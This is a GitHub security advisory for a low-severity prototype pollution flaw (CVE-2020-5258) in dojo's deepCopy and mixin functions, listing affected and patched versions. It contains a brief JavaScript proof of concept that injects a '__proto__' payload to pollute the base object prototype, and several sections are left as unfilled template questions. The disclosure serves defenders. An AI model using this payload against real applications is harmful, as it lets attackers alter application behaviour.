dojo / **dojo** Public

Code Issues 35 Pull requests 3 Actions Projects **Security** 1 ···

Prototype pollution

Low **dylans** published **GHSA-jxfh-8wgv-vfr2** on Mar 10, 2020

Package

dojo/mixin, dojo/request/util/deepCopy (npm)

Affected versions	Patched versions
<1.11.10, 1.12.0-1.12.7, 1.13.0-1.13.6, 1.14.0-1.14.5, 1.15.0-1.15.2, 1.16.0-1.16.1	1.16.2, 1.15.3, 1.14.6, 1.13.7, 1.12.8, 1.11.10

Description

Impact

Prototype Pollution refers to the ability to inject properties into existing JavaScript language construct prototypes, such as objects. An attacker manipulates these attributes to overwrite, or pollute, a JavaScript application object prototype of the base object by injecting other values.

The `deepCopy` method within dojo is vulnerable to Prototype Pollution

Proof Of Concept

```
  require(["dojo/request/util"], function(lang) {
      var malicious_payload = '{"__proto__":{"vulnerable":"Polluted"}}';
      var a = { b: "c", d: "e" };
      var newOjb = lang.deepCopy(a, JSON.parse(malicious_payload));
      console.log({}.vulnerable);

})
```

Patches

Has the problem been patched? What versions should users upgrade to?

Workarounds

Is there a way for users to fix or remediate the vulnerability without upgrading?

References

Are there any links users can visit to find out more?

For more information

If you have any questions or comments about this advisory:

- Open an issue in example link to repo
- Email us at example email address

Severity

Low

CVE ID

CVE-2020-5258

Weaknesses

No CWEs